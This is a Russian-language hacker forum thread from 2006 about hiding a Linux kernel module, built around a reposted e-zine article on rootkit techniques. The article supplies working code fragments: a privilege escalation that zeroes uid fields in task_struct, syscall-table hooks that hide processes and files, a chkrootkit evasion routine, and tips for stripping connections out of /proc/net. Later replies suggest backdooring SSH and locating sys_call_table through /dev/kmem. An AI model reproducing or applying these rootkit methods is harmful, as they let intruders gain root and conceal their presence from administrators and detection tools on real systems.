Как скрыть модуль ядра в линуксе?

Discussion in 'Безопасность и Анонимность' started by rent0n, 19 Jan 2006.

  1. rent0n

    rent0n Elder - Старейшина

    Joined:
    25 Dec 2005
    Messages:
    119
    Likes Received:
    19
    Reputations:
    2
    Я на эту тему только статейку из phrack52 нашел, но там ядро 2.2 - 2.4. Мне же надо для 2.6 сделать. В общем, как там описано не прокатывает...
     
  2. m0nzt3r

    m0nzt3r моня

    Joined:
    22 Jun 2004
    Messages:
    2,096
    Likes Received:
    673
    Reputations:
    591
    бля у мя на харде должна быть статейка из какогото номера езина Дефайсед... ща если найду выложу.. а ваще админ может енто заметить, но если удалить какойто модуль ненужный и вместо него назвав свой модуль также лоаднуть свой то маскировка отличная...
     
  3. m0nzt3r

    m0nzt3r моня

    Joined:
    22 Jun 2004
    Messages:
    2,096
    Likes Received:
    673
    Reputations:
    591
    Code:
    ..----------------------------------..
    ..    linux lkm trickz (part 2)     ..
    ..__________________________________..
    
    
    
       Данная  статья  показывает как сделать  свой lkm совместимым  с  ядрами
       серии 2.2.x и 2.4.x без его перекомпиляции. Люди, часто пишущие руткиты
       и прочий варез для ядер, наверняка  найдут  тут  мало  нового,  так что
       расчёт скорее на начинающих.
    
       Итак, мы  пишем треш, который должен прятать процессы, файлы, коннекты,
       снифать  tty  и  прочее.  Это  делается  с  использованием всевозможных
       memcpy,  memset,  etc.  В  ядре  вся интересуящая нас инфа раскидана по
       различным  структурам. Всё  было  бы  хорошо, но от версии к версии эти
       самые  структуры  меняются. Получается, что наши смещения не подходят и
       мы  пролетаем.  В  большей степени это касается task_struct, структуры,
       которой  описан  каждый  процесс  в  системе.  Вот для сравнения она  в
       хидерах  ядра 2.2.7 (точнее важная для нас часть):
    
     volatile long state
     unsigned long flags
     int sigpending
     mm_segment_t addr_limit
     struct exec_domain *exec_domain;
     volatile long need_resched;
     long counter;
     long priority;
     cycles_t avg_slice;
     int has_cpu;
     int processor;
     int last_processor;
     int lock_depth;
     struct task_struct *next_task, *prev_task;
     struct task_struct *next_run,  *prev_run;
     struct linux_binfmt *binfmt;
     int exit_code, exit_signal;
     int pdeath_signal;
     unsigned long personality;
     int dumpable:1;
     int did_exec:1;
     pid_t pid;
     pid_t pgrp;
     pid_t tty_old_pgrp;
     pid_t session;
     int leader;
     struct task_struct *p_opptr, *p_pptr, *p_cptr, *p_ysptr, *p_osptr;
     struct task_struct *pidhash_next;
     struct task_struct **pidhash_pprev;
     struct task_struct **tarray_ptr;
     struct wait_queue *wait_chldexit;
     struct semaphore *vfork_sem;
     unsigned long policy, rt_priority;
     unsigned long it_real_value, it_prof_value, it_virt_value;
     unsigned long it_real_incr, it_prof_incr, it_virt_incr;
     struct timer_list real_timer;
     struct tms times;
     unsigned long start_time;
     long per_cpu_utime[NR_CPUS], per_cpu_stime[NR_CPUS];
     unsigned long min_flt, maj_flt, nswap, cmin_flt, cmaj_flt, cnswap;
     int swappable:1;
     uid_t uid,euid,suid,fsuid;
     gid_t gid,egid,sgid,fsgid;
    
       И она же в ядре 2.4.x:
    
     volatile long state
     unsigned long flags
     int sigpending
     mm_segment_t addr_limit
     struct exec_domain *exec_domain;
     volatile long need_resched;
     unsigned long ptrace;
     int lock_depth;
    	long counter;
    	long nice;
    	unsigned long policy;
    	struct mm_struct *mm;
    	int has_cpu, processor;
    	unsigned long cpus_allowed;
    	struct list_head run_list;
    	unsigned long sleep_time;
    	struct task_struct *next_task, *prev_task;
    	struct mm_struct *active_mm;
    	struct linux_binfmt *binfmt;
    	int exit_code, exit_signal;
    	int pdeath_signal;
    	unsigned long personality;
    	int dumpable:1;
    	int did_exec:1;
    	pid_t pid;
    	pid_t pgrp;
     pid_t tty_old_pgrp;
    	pid_t session;
    	pid_t tgid;
    	int leader;
    	struct task_struct *p_opptr, *p_pptr, *p_cptr, *p_ysptr, *p_osptr;
    	struct list_head thread_group;
    	struct task_struct *pidhash_next;
    	struct task_struct **pidhash_pprev;
    	wait_queue_head_t wait_chldexit;
    	struct semaphore *vfork_sem;
    	unsigned long rt_priority;
    	unsigned long it_real_value, it_prof_value, it_virt_value;
    	unsigned long it_real_incr, it_prof_incr, it_virt_incr;
    	struct timer_list real_timer;
    	struct tms times;
    	unsigned long start_time;
    	long per_cpu_utime[NR_CPUS], per_cpu_stime[NR_CPUS];
    	unsigned long min_flt,
     maj_flt,
     nswap,
     cmin_flt,
     cmaj_flt,
     cnswap;
    	int swappable:1;
    	uid_t uid,euid,suid,fsuid;
    	gid_t gid,egid,sgid,fsgid;
    
       Теперь такой вот код, дающий рута в 2.4.x ядре, не поможет нам в линухе
     с кернелом 2.2.x (мы используем уже скомпилённый lkm под 2.4.x):
    
     current->uid  = 0;
     current->euid = 0;
     current->gid  = 0;
     current->egid = 0;
    
       Естественно, смещения совсем другие. А как же их узнать?  Можно считать
       вручную, но есть неплохой трюк: патчим getdents таким  образом, чтобы в
       область памяти, которую мы указали (второй аргумент) скопировать нужную
       нам  структуру. Далее пишем небольшую прогу, которая бы считывала вывод
       getdents как есть и кидала его в файл:
    
     .globl _start
     _start:
    
       xorl %eax,%eax
       xorl %edx,%edx
       mov $5,%al
       movl $phile,%ebx
       movl $0x1010,%ecx
       int $0x80
    
       movl %eax,%ebx
       movl $141,%eax
       movl $infa,%ecx
       movl $len,%edx
       int $0x80
    
       movl $6,%eax
       int $0x80
    
       movl $5,%eax
       movl $logfile,%ebx
       movl $0x1010,%ecx
       movl $0700,%edx
       int $0x80
     
       movl %eax,%ebx
       movl $4,%eax
       movl $infa,%ecx
       movl $len,%edx
       int $0x80
    
       movl $6,%eax
       int $0x80
       movl $1,%eax
       int $0x80
     
     .data
       phile: .asciz "/"
       logfile: .asciz "SUPA_LOGG"
       infa: 
       .ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
       .ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
                 < REPEaT THIS ^^^ STRING ABOUT 10 times >
       .ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
       .asciz "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
       len = .-infa 
    
    
       Грубовато получилось, но сойдёт :) Теперь  смотрим  hexdump полученного
       лога:
    
     0000000 0000 0000 0000 0000 0000 0000 0000 c000
     0000010 1c60 c020 0000 0000 0009 0000 0014 0000
     0000020 0000 0000 0000 0000 0000 0000 0000 0000
     0000030 ffff ffff 6000 c021 2000 c797 6000 c021
     0000040 6000 c021 0000 0000 4238 c020 0000 0000
     0000050 0011 0000 0000 0000 0000 0000 0003 0000
     0000060 039e 0000 039e 0000 0000 0000 02aa 0000
     0000070 0000 0000 6000 c70f 6000 c70f 0000 0000
     0000080 0000 0000 0000 0000 0000 0000 8354 c02b
     0000090 06f0 c020 6090 c6ce 0000 0000 0000 0000
     00000a0 0000 0000 0000 0000 0000 0000 0000 0000
     *
     00000c0 0000 0000 8fbc 0000 6000 c6ce 868c c011
     00000d0 0000 0000 0000 0000 0000 0000 0000 0000
     00000e0 0e36 0001 000f 0000 02ac 0000 000c 0000
     00000f0 0005 0000 0000 0000 0000 0000 0000 0000
     0000100 0000 0000 0001 0000 0000 0000 0000 0000
     *
     0000110
    
       В  общем,  поискав  примерный  pid  процесса,  я  узнал смещение  pid в
       task_struct  ядер 2.2.x: 0x60.  Где uid'ы - не понятно, т.к. тестил под
       рутом.  Нужен  второй  лог.  Снова  загружаем тестовый модуль, правящий
       getdents, и из-под непривилегированного процесса делаем новый дамп:
    
     0000000 0000 0000 0000 0000 0000 0000 0000 c000
     0000010 1c60 c020 0000 0000 0008 0000 0014 0000
     0000020 0000 0000 0000 0000 0000 0000 0000 0000
     0000030 ffff ffff 6000 c021 4000 c7b3 6000 c021
     0000040 6000 c021 0000 0000 4238 c020 0000 0000
     0000050 0011 0000 0000 0000 0000 0000 0003 0000
     0000060 0308 0000 0308 0000 0000 0000 024f 0000
     0000070 0000 0000 4000 c7b3 4000 c7b3 0000 0000
     0000080 0000 0000 0000 0000 0000 0000 830c c02b
     0000090 06f0 c020 6090 c6ce 0000 0000 0000 0000
     00000a0 0000 0000 0000 0000 0000 0000 0000 0000
     *
     00000c0 0000 0000 a2d6 0000 6000 c6ce 868c c011
     00000d0 0000 0000 0000 0000 0000 0000 0000 0000
     00000e0 aa2b 0000 0002 0000 0284 0000 000a 0000
     00000f0 0005 0000 0000 0000 0000 0000 0000 0000
     0000100 0000 0000 0001 01f5 01f5 01f5 01f5 01f5
     0000110 01f5 01f5                              
     0000114
    
       Отлично,  offset к uid'ам - 0x106. Каждый из них длиной 2 байта, значит
       всего  8  (uid, euid, suid, fsuid).  Но нам достаточно обнулить  четыре
       первых:
    
     char *tsk;
     <skipped>
    
      tsk = (char *)get_current();
      memset(tsk+0x106,0,4); // теперь наш процесс рутовской
      tsk = 0;
    
       Отлично, теперь  мы можем повышать привилегии  нашего  процесса в ядрах
       2.2.x  и  2.4.x. Вот  теперь пора бы подумать над тем, как организовать
       различие между версиями? Лучше всего передавать модулю аргументы:
    
      static int kern;
      MODULE_PARM(kern,"i");
    
       За  подробностями советую обратиться  к хидеру  linux/module.h. Там всё
       расписано вполне внятно.Первый "аргумент" MODULE_PARM - это переменная, 
       где будет храниться arg, а второй - её тип (в данном случае - integer).
       Вот как передавать его модулю:
    
     daroot`# insmod -f test.o kern=<value>
    
       Теперь  в   коде  мы  можем  спокойно  использовать   версию  ядра  для
       организации ветвления в функциях:
    
     <* skipped *>
    
     if (kern > 2){
       current->uid  = 0;
       current->euid = 0;
       current->gid  = 0;
       current->egid = 0;
     } else {
       tsk = (char *)get_current();
       memset(tsk+0x106,0,4);
       tsk = 0;
     }
    
     <* skipped *>
    
       Уже кое-что получается :)) С open() никаких проблем быть не должно,т.к.
       offset к addr_limit в task_struct ядер 2.4.x и 2.2.x один.
    
       Ладно,  мы  разобрались со статической частью.  Прятать файлы  тоже  не
       трудно, т.к. структура dirent, к счастью,  не меняется.  Так что с этим
       проблем возникнуть не должно. Теперь перейдём к динамической части: как
       прятать,  скажем,  процессы?  В sched.h  описана  удобная  функция  для
       перебора task_struct всех существующих процессов for_each_task,  но нам
       то нужна совместимость с серией 2.2.x без перекомпиляции!  Значит  этот
       вариант  нам  не совсем  подходит.  Кстати, в  2.4.x для  работы  с vfs
       используется getdents64 вместо старой getdents.Так что в зависимости от
       нашего  аргумента с  версией  ядра, мы  заменяем либо  её,  либо старую
       sys_getdents(). Вот небольшой пример:
    
     extern void* sys_call_table[];
    
     static int kern;
     MODULE_PARM(kern,"i");
    
     <*skipped*>
    
     static long new_getdents64(unsigned int fd, void *dirp, unsigned int count){
       long ret;
       struct task_struct *k;
     
       for_each_task(k){
         if (k->gid == 31337){
           k->exit_code = k->pid;
           k->pid = 0;
         }
       }
    
       ret = old_getdents64(fd,dirp,count);
    
       for_each_task(k){
         if (k->gid == 31337) k->pid = k->exit_code;
       }
    
       return ret;
     }
    
     <*skipped*>
    
     int init_module()
     {
     
       if (kern > 2){
         b_getdents64 = sys_call_table[220];
         sys_call_table[220] = n_getdents64;
       } else {
         b_getdents = sys_call_table[141];
         sys_call_table[141] = n_getdents;
         printk("using old-style process hiding teq\n");
       }
    
     <*skipped*>
    
       Для тех  кто не врубается в чём тема:  мы при выставлении  рута  нашему
       процессу ставим его gid == 31337. Процесс становится невидимым, т.к. ps
       читает список pid из /proc, а там наша запись пропадает. Все чайлды его
       тоже  невидимы, т.к. gid наследуется. Это, конечно, просто. А как  быть
       с  2.2.x?  Вот  тут  дело  сложнее.  Один  из способов: создаём снаружи
       функций  static  char[],  скажем,  длиной   16  байт. В  него  мы будем
       сохранять  pid  наших  невидимых  процессов.  Когда клиент обращается к
       руткиту  с  запросом,  мы  сперва  обнуляем  его  uid и euid,  и заодно
       копируем pid в наш массив. Если слот уже занят (число "ячеек" чётное, и
       каждый   pid   пишется  в   little  endian   формате,   our_array[i]  +
       256*our_array[i+1]),  то  смотрим  дальше  пока  не  найдём  обнулённый
       "слот".
    
       Теперь  при  вызове getdents мы должны для начала вызвать  оригинальный
       обработчик, а потом просто вырезать из вывода наши спрятанные процессы.
       Это  сделать не так сложно. Правда, скорее всего не обойдётся  без пары
       падений  ядра :)) Но  зато будет очень полезный опыт ;) Я не выкладываю
       тут  исходники  своей  реализации  getdents,  т.к. в ней одна из важных
       фишек моего руткита, и мне не хочется её раскрывать.
    
       Ну и формальность - можно перехватить функции sys_kill и sys_exit чтобы
       очищать слот с данным pid в случае его kill(9) или выхода.
    
    
       И ещё пара слов о chkrootkit.
    
       Эта софтина постоянно обновляется и в ней появляются всё новые  и новые
       средства для выявления нашего злобного вареза. В  каждом  рутките можно
       найти  массу  недочётов,  выявляющих  его присутсвие,  так что не стоит
       гнаться за скрытностью. В конце концов код более-менее незаметного лкма
       больше обычного  в  1.5-2 раза, так что лучше найти золотую  середину -
       обходить основыне  проверки chkrootkit'a и не сильно заморачиваться над
       остальными нюансами.
    
       Вот пример того, как обойти проверку на спрятанные процессы:
    
    /*
    ================================================================================
                   ANTI - CHKrootkit v <= 0.43 part here...
    ================================================================================
    */
    
    static int n_chdir(char *path){
      int i,pid,n;
      struct task_struct *find;
      unsigned char *k,*demem,cid[2],ptr[6];
    
      _memset(&ptr,0,6);
    
      if ((_strncmp(path,"/proc",5) != 0) || (_strlen(path) > 11))
               return b_chdir(path);
    
      for (i=7; i < _strlen(path); i++)
               ptr[i-7] = path[i];
    
      pid = ma_atoi(path);
    
      if (irqno == 2){
    
        demem = (char *)&matasklist;
    
        for (i=0;i<MAX_TASKS;i++){
    
          _memcpy(&cid,demem+2*i,2);
          if ((cid[0] + 256*cid[1]) != pid) continue;
          demem = 0;
          return ENOENT;
    
        }
    
        demem = 0;
    
      } else {
    
      for_each_task(find){
        if ((find->pid == pid) && (find->gid == HIDEN_GID) \
          && (find->uid == 0)) return ENOENT; }
      }
    
      return b_chdir(path);
    }
    
    /******************************************************************************/
    
    
       На последок о  нюансах  ныканья соединения: в 2.2* и 2.4* вывод сетевой
       статистики отличается. Вот основные хинты:
    
        philename    i  2.4.x              i     2.2.x
     ----------------+---------------------+----------------
     /proc/net/tcp   i           длина каждой записи
                     i     150 байт        i   128 байт
     ----------------+---------------------+----------------
     /proc/net/udp   i           длина каждой записи
                     i     128 байт        i   128 байт
                     +---------------------+----------------
                     i         записи индексируются?
                     i      нет            i     да
     ----------------+---------------------+----------------
    
       Примеры для наглядности:
    
    /proc/net/tcp on 2.4.x:
    sl  local_address rem_address   st tx_queue rx_queue tr tm->when retrnsmt uid timeout inode
     0: 00000000:0081 00000000:0000 0A 00000000:00000000 00:00000000 00000000  0    0 1373 1 c7ca7580 300 0 0 2 -1
     1: 00000000:00E2 00000000:0000 0A 00000000:00000000 00:00000000 00000000  0    0 1804 1 c67e3580 300 0 0 2 -1
     2: 00000000:0064 00000000:0000 0A 00000000:00000000 00:00000000 00000000  0    0 1365 1 c7b6d0c0 300 0 0 2 -1
     3: 00000000:0065 00000000:0000 0A 00000000:00000000 00:00000000 00000000  0    0 1367 1 c7b6d5c0 300 0 0 2 -1
     4: 00000000:00C8 00000000:0000 0A 00000000:00000000 00:00000000 00000000  0    0 1383 1 c6afc060 300 0 0 2 -1
     5: 00000000:008B 00000000:0000 0A 00000000:00000000 00:00000000 00000000  0    0 1375 1 c7ca7a80 300 0 0 2 -1
     6: 00000000:00CD 00000000:0000 0A 00000000:00000000 00:00000000 00000000  0    0 1385 1 c6afc560 300 0 0 2 -1
     7: 00000000:00B3 00000000:0000 0A 00000000:00000000 00:00000000 00000000  0    0 1379 1 c67fe540 300 0 0 2 -1
     8: 00000000:007A 00000000:0000 0A 00000000:00000000 00:00000000 00000000  0    0 1369 1 c7b6dac0 300 0 0 2 -1
     9: 00000000:00BD 00000000:0000 0A 00000000:00000000 00:00000000 00000000  0    0 1381 1 c67fea40 300 0 0 2 -1
    10: 00000000:00DE 00000000:0000 0A 00000000:00000000 00:00000000 00000000  0    0 1800 1 c6afca60 300 0 0 2 -1
    11: 00000000:007E 00000000:0000 0A 00000000:00000000 00:00000000 00000000  0    0 1371 1 c7ca7080 300 0 0 2 -1
    12: 00000000:00DF 00000000:0000 0A 00000000:00000000 00:00000000 00000000  0    0 1802 1 c67e3080 300 0 0 2 -1
    13: 00000000:009F 00000000:0000 0A 00000000:00000000 00:00000000 00000000  0    0 1377 1 c67fe040 300 0 0 2 -1
     
    
    /proc/net/udp on 2.4.x:
    sl  local_address rem_address   st tx_queue rx_queue tr tm->when retrnsmt  uid  timeout inode
     72: 00000000:00C8 00000000:0000 07 00000000:00000000 00:00000000 00000000  0    0 1922 2 c7b6d5c0
     95: 00000000:00DF 00000000:0000 07 00000000:00000000 00:00000000 00000000  0    0 1921 2 c7b6dac0
    100: 00000000:0064 00000000:0000 07 00000000:00000000 00:00000000 00000000  0    0 1923 2 c7b6d0c0
    
       Тут  записи  не  индесируются по порядку, так что можно смело  вырезать
       некоторые строки.
    
    /proc/net/tcp on 2.2.x:
    sl  local_address rem_address   st tx_queue rx_queue tr tm->when retrnsmt  uid  timeout inode
    0: 00000000:0050 00000000:0000 0A 00000000:00000000 00:00000000 00000000    0    0       1345
    1: 00000000:0064 00000000:0000 0A 00000000:00000000 00:00000000 00000000    0    0       1343
    
    /proc/net/udp on 2.2.x:
    sl  local_address rem_address   st tx_queue rx_queue tr tm->when retrnsmt uid  timeout inode
    0: 00000000:006E 00000000:0000 07 00000000:00000000 00:00000000 00000000   0    0      1349
    1: 00000000:006F 00000000:0000 07 00000000:00000000 00:00000000 00000000   0    0      1348
    2: 00000000:0064 00000000:0000 07 00000000:00000000 00:00000000 00000000   0    0      1347
    
       А вот здесь уже не получится  резать всё  подрят - нужно  индексировать
       записи по новой.
    
    
       И ещё совсем небольшой хинт: при подсаживании  лкма  "на лету" (здесь я
       об этом  не пишу, т.к. существует много доков), через /dev/kmem, удобно
       брать  адреса  нужных  нам  объектов,  уже  загруженных  в  ядро  (i.e.
       sys_call_table,   kmalloc,   etc)   из    файла   /boot/System.map.   В
       большинстве  дистрибутивов  при  загрузке   линуха,  когда  установлены
       несколько ядер,  создаётся символическая ссылка System.map на тот файл,
       который  соответствует  нашему  ядру, так  что  мы при  любом  раскладе
       открываем нужный файл. Допустим, мы хотим передавать нашему  загрузчику
       адреса  sys_call_table и kmalloc через  стандартные  аргументы. Ок, это
       можно сделать так:
    
     daroot`# ./evil_rk_loader `cat /boot/System.map | grep -a "D sys_call" | awk
     -F " " '{print $1}'` `cat /boot/System.map | grep -a  "T kmalloc" |  awk  -F " "
     '{print $1}'`
    
       Дополнение - простая функция, конвертирующая строку в long:
    
     unsigned long ma_atol(char *p){
     int i;
     unsigned long tmp,fs,res=0;
     char v[8];
    
     memcpy(&v,p,8);
     fs = 65536 * 256;
     
     for(i=0; i<8; i+=2){
    
       if (v[i] == 0x30) tmp = 0;
       if (v[i] == 0x31) tmp = 16;
       if (v[i] == 0x32) tmp = 32;
       if (v[i] == 0x33) tmp = 48;
       if (v[i] == 0x34) tmp = 64;
       if (v[i] == 0x35) tmp = 80;
       if (v[i] == 0x36) tmp = 96;
       if (v[i] == 0x37) tmp = 112;
       if (v[i] == 0x38) tmp = 128;
       if (v[i] == 0x39) tmp = 144;
       if (v[i] == 0x61) tmp = 160;
       if (v[i] == 0x62) tmp = 176;
       if (v[i] == 0x63) tmp = 192;
       if (v[i] == 0x64) tmp = 208;
       if (v[i] == 0x65) tmp = 224;
       if (v[i] == 0x66) tmp = 240;
    
       if (v[i+1] == 0x31) tmp += 1;
       if (v[i+1] == 0x32) tmp += 2;
       if (v[i+1] == 0x33) tmp += 3;
       if (v[i+1] == 0x34) tmp += 4;
       if (v[i+1] == 0x35) tmp += 5;
       if (v[i+1] == 0x36) tmp += 6;
       if (v[i+1] == 0x37) tmp += 7;
       if (v[i+1] == 0x38) tmp += 8;
       if (v[i+1] == 0x39) tmp += 9;
       if (v[i+1] == 0x61) tmp += 10;
       if (v[i+1] == 0x62) tmp += 11;
       if (v[i+1] == 0x63) tmp += 12;
       if (v[i+1] == 0x64) tmp += 13;
       if (v[i+1] == 0x65) tmp += 14;
       if (v[i+1] == 0x66) tmp += 15;
       
       res += tmp * fs;
       fs /= 256;
     }
    
     return res;
    }
    
    
       На этом всё, основные свои сумбурные мысли относительно  linux lkm'ов я
       тут изложил. hangup.
    
    Defaced 6
    
    воть подойдет?)
     
  4. rent0n

    rent0n Elder - Старейшина

    Joined:
    25 Dec 2005
    Messages:
    119
    Likes Received:
    19
    Reputations:
    2
    Мне нужно для 2.6. Но спасибо, все равно посмотрю...
    extern void* sys_call_table[]; - это, кстати, не прокатывает в 2.6. Не экспортируется более.
    А так - нахождение адреса sys_call_table - это не так сложно, devoid написал как это можно сделать. Перехват вызовов, типа getdents64 и т.п. - это тоже понятно.
    Кстати, сравните linux/module.h в ядрах 2.4 и 2.6 - отличий дохера просто.
     
  5. m0nzt3r

    m0nzt3r моня

    Joined:
    22 Jun 2004
    Messages:
    2,096
    Likes Received:
    673
    Reputations:
    591
    а че се работу усложняешь бери нафиг статью с cyberlords.net про "Затроянивание SSH" и измени бинарник...правда есть возможность что фаер будет орать на изменение checksum...
     
  6. KEZ

    KEZ Ненасытный школьник

    Joined:
    18 May 2005
    Messages:
    1,604
    Likes Received:
    754
    Reputations:
    397
    Ядро экспортирует sys_call_table
    Перехвати вызовы: getdents() чтобы скрыть файлы, к примеру
    По такому принципу работают много руткитов.
    Описание сисколов ищи ... а везде
     
  7. KEZ

    KEZ Ненасытный школьник

    Joined:
    18 May 2005
    Messages:
    1,604
    Likes Received:
    754
    Reputations:
    397
    да такое нелегкое действие как добавление строки в auth_passwd.c можно изучать только по стайтье на cyberlords.net ))
     
  8. m0nzt3r

    m0nzt3r моня

    Joined:
    22 Jun 2004
    Messages:
    2,096
    Likes Received:
    673
    Reputations:
    591
    Кез ну че делать сам же не стану объяснять(так как не помню)))))
     
  9. rent0n

    rent0n Elder - Старейшина

    Joined:
    25 Dec 2005
    Messages:
    119
    Likes Received:
    19
    Reputations:
    2
    Проблем в реализации перехвата вызовов нет. Есть проблемы с СОКРЫТИЕМ именно.
    KEZ:<Ядро экспортирует sys_call_table> - в 2.6 ядро НЕ ЭКСПОРТИРУЕТ sys_call_table, но ладно, адрес найти можно. А что мне нужно перехватывать - я и так знаю...
     
  10. KEZ

    KEZ Ненасытный школьник

    Joined:
    18 May 2005
    Messages:
    1,604
    Likes Received:
    754
    Reputations:
    397
    Как это 2.6 не экспортирует? Возможно нету таблицы символов... Тогда можно найти через /dev/kmem
    Дизассемблируй обработчик int 0x80, команда sidt вернет содержимое таблицы деск. прерываний, 80ый элемент - обработчик 0x80 прерывания. Тут есть
    call 0xc01e0f18 (адрес указатель на таблицу сис. вызовов)
    у меня call расположен по адресу 0xс0106bf4.

    sys_call_table[SYS_getdents] - указатель на getdents.
    Перехват может сппрятать файл, процесс, соединение (тут они все монируются на файловую с-му)

    Перехват get_kernel_symbols может замаскировать LKM модуль...
     
    #10 KEZ, 21 Jan 2006
    Last edited: 21 Jan 2006
  11. KEZ

    KEZ Ненасытный школьник

    Joined:
    18 May 2005
    Messages:
    1,604
    Likes Received:
    754
    Reputations:
    397
    У меня тосты СГОРЕЛИ!!!
     
  12. rent0n

    rent0n Elder - Старейшина

    Joined:
    25 Dec 2005
    Messages:
    119
    Likes Received:
    19
    Reputations:
    2
    Я тоже читал во фраке, что можно без lkm ядро троянить с помощью записи напрямую в /dev/kmem. Это конечно интересная темка.